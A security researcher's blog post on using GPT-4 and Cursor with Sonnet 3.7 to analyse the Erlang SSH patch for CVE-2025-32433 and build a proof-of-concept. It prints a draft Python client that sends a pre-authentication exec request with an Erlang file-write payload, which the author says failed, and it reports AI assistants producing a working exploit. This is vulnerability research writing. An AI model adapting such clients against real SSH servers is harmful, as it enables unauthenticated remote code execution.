Back to blog
Vulnerability Research

How I Used AI to Create a Working Exploit for CVE-2025-32433 Before Public PoCs Existed

Using GPT-4 to examine the Erlang SSH patch, then Cursor with Sonnet 3.7 to debug a failed client against a local test system.

Date
04/17/2025
Read
3 min read
Cat
Vulnerability Research

I saw Horizon3's post about CVE-2025-32433 while scrolling through Twitter. They had a proof of concept for the Erlang SSH vulnerability and described it as surprisingly easy, but had not published the code.

I wanted to see how far an AI assistant could get using the advisory and patch. GPT-4 helped compare the affected and fixed versions, explain the change, and draft a client. The first client failed. I then used Cursor with Sonnet 3.7 to debug it against my test system.

The useful part of the experiment was seeing where the generated explanation and code held up, and where running it exposed mistakes.

Starting with the available evidence

I first copied the Python output visible in Horizon3's animated GIF and gave it to GPT as context.

Horizon3 Tweet
Horizon3 Tweet

Comparing the affected and patched versions

I checked the official Erlang advisory on GitHub to find both an affected version and a patched one.

Affected and Patched Versions
Affected and Patched Versions

I asked GPT for commands to copy the SSH source from both versions into separate directories:

❯ git checkout OTP-27.3.1
mkdir -p ../ssh_5_2_9
cp -a lib/ssh/\* ../ssh_5_2_9/

# Checkout the commit that introduces ssh-5.2.10
git checkout 71219a5123309c8cf66f929a19a100a242e15681
mkdir -p ../ssh_5_2_10
cp -a lib/ssh/\* ../ssh_5_2_10/

That left two snapshots to compare: ssh_5_2_9 for the vulnerable version and ssh_5_2_10 for the patched version.

Reading the diff

GPT produced this script to recursively compare the Erlang source and header files:

import os
import difflib

def get_source_files(base_dir):
    return {
        os.path.relpath(os.path.join(root, f), base_dir): os.path.join(root, f)
        for root, _, files in os.walk(base_dir)
        for f in files if f.endswith((".erl", ".hrl"))
    }

def safe_readlines(path):
    for enc in ("utf-8", "latin-1"):
        try:
            with open(path, "r", encoding=enc) as f:
                return f.readlines()
        except UnicodeDecodeError:
            continue
    return None

def compare_versions(dir1, dir2):
    files1, files2 = get_source_files(dir1), get_source_files(dir2)
    common = sorted(set(files1) & set(files2))
    diffs = {
        path: list(difflib.unified_diff(
            safe_readlines(files1[path]), safe_readlines(files2[path]),
            fromfile=f"{os.path.basename(dir1)}/{path}",
            tofile=f"{os.path.basename(dir2)}/{path}"))
        for path in common
        if safe_readlines(files1[path]) and safe_readlines(files2[path])
    }
    return diffs

# Run diff and print results
base1, base2 = "../ssh_5_2_9", "../ssh_5_2_10"
diffs = compare_versions(base1, base2)

print("\n🔍 Changed Files Between SSH 5.2.9 and 5.2.10 (Recursive):")
print("---------------------------------------------------------")
for f, lines in diffs.items():
    print(f"{f}: {len(lines)} changed lines")

print("\n\n📄 Full Diffs for All Changed Files:\n")
print("=====================================")
for f, lines in diffs.items():
    print(f"\n--- {f} ---\n{''.join(lines)}")

This script loops through every .erl and .hrl file, compares them line-by-line, and prints both a summary and the full unified diff.

The output included changes to a regression test:

....omitted for brevity...
+early_rce(Config) ->
+    ...
+    TypeReq = "exec",
+    DataReq = <<?STRING(<<"lists:seq(1,10).">>)>>,
+    ...
+    {send, SshMsgChannelRequest},
+    {match, disconnect(), receive_msg}
....omitted for brevity...

I gave ChatGPT the diff and asked:

"Hey, can you tell me what caused this vulnerability?"

GPT Find The Bug!
GPT Find The Bug!

The authentication check in the patch

GPT identified the new branch that rejects protocol messages received before authentication. The patch made the missing check visible:

+handle_msg(Msg, Connection, server, Ssh = #ssh{authenticated = false}) ->
+    %% RFC4252 Section 6: Reject protocol messages before authentication.
+    MsgFun = fun(M) ->
+                     MaxLogItemLen = ?GET_OPT(max_log_item_len, Ssh#ssh.opts),
+                     io_lib:format("Connection terminated. Unexpected message for unauthenticated user."
+                                   " Message:  ~w", [M],
+                                   [{chars_limit, MaxLogItemLen}])
+             end,
+    ?LOG_DEBUG(MsgFun, [Msg]),
+    {disconnect, {?SSH_DISCONNECT_PROTOCOL_ERROR, "Connection refused"}, handle_stop(Connection)};

The branch checks authenticated = false and disconnects the client. The next step was to test whether the affected version would process a channel request before authentication.

GPT offered to generate a proof-of-concept client, and I asked it to proceed.

The first client attempt

GPT generated the following Python socket client. It attempts to open a channel and send a command before authentication finishes. This is the initial, non-working version; the debugging step follows it.

import socket
import struct

HOST = "127.0.0.1"  # Change to vulnerable SSH server IP
PORT = 2222         # Change to correct SSH port

# Utilities
def string_payload(s):
    s_bytes = s.encode("utf-8")
    return struct.pack(">I", len(s_bytes)) + s_bytes

def build_channel_open(channel_id=0):
    return (
        b"\x5a" +  # SSH_MSG_CHANNEL_OPEN
        string_payload("session") +
        struct.pack(">I", channel_id) +  # sender channel
        struct.pack(">I", 0x68000) +     # initial window size
        struct.pack(">I", 0x10000) +     # max packet size
        b""
    )

def build_channel_request(channel_id=0, command="file:write_file(\"/lab.txt\", <<\"pwned\">>)."):
    payload = (
        b"\x62" +
        struct.pack(">I", channel_id) +
        string_payload("exec") +
        b"\x01" +
        string_payload(command)
    )
    return payload

def build_kexinit():
    cookie = b"\x00" * 16
    def name_list(l): return string_payload(",".join(l))
    return (
        b"\x14" + cookie +
        name_list(["diffie-hellman-group14-sha1"]) +
        name_list(["ssh-rsa"]) +
        name_list(["aes128-ctr"]) * 2 +
        name_list(["hmac-sha1"]) * 2 +
        name_list(["none"]) * 2 +
        name_list([]) * 2 +
        b"\x00" + struct.pack(">I", 0)
    )

# Step-by-step protocol
with socket.create_connection((HOST, PORT)) as s:
    print("[*] Connecting to SSH server...")

    s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
    banner = s.recv(1024)
    print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")

    print("[*] Sending KEXINIT...")
    kex_packet = build_kexinit()
    kex_len = struct.pack(">I", len(kex_packet) + 1)
    kex = kex_len + b"\x0a" + kex_packet + b"\x00" * 6
    s.sendall(kex)

    print("[*] Sending channel_open...")
    chan_open = build_channel_open()
    chan_len = struct.pack(">I", len(chan_open) + 1)
    s.sendall(chan_len + b"\x0a" + chan_open + b"\x00" * 6)

    print("[*] Sending channel_request with exec payload...")
    chan_req = build_channel_request(command='file:write_file("/lab.txt", <<"pwned">>).')
    req_len = struct.pack(">I", len(chan_req) + 1)
    s.sendall(req_len + b"\x0a" + chan_req + b"\x00" * 6)

    print("[✓] Exploit sent. If target was vulnerable, it attempted to write /lab.txt.")

Debugging against the test system

The initial code didn't work. I loaded it into Cursor, opened a terminal, and asked:

"Fix the PoC code?"

Cursor... or expert hacker?
Cursor... or expert hacker?

With Sonnet 3.7 in Cursor, the assistant revised the protocol messages. I had provided the broken script and access to the development environment, without a detailed diagnosis.

CVE Execution
CVE Execution

I ran the revised version and confirmed that it wrote /lab.txt on my test system. That result was the evidence that the revised client worked; the initial generated code above had not.

What the experiment showed

The assistant helped move from a public advisory and patch to a working test in an afternoon. It also produced an initial implementation that failed. The outcome depended on examining the diff and running the code against a test system, rather than accepting the generated client as correct.

This was one vulnerability with a public fix to study. It doesn't establish that the same process would work as well without those clues. It does show that patch analysis and parts of client development were tasks the assistants could help with in this case.

Thanks to Horizon3 and Fabian Baeumer for the research and disclosure work behind the advisory.

The original version of this post was written with ChatGPT. This version has been edited for clarity.

Written by

Matthew Keeley

Matthew is the founder of PlatformSecurity and focuses on agent security. He previously led platform security at SeatGeek and security engineering initiatives at Fanatics. His work includes Checkpoint, SeatGeek’s platform for temporary, self-service access to cloud infrastructure, and security tooling built into engineers’ everyday workflows.

Share

More in Vulnerability Research

All posts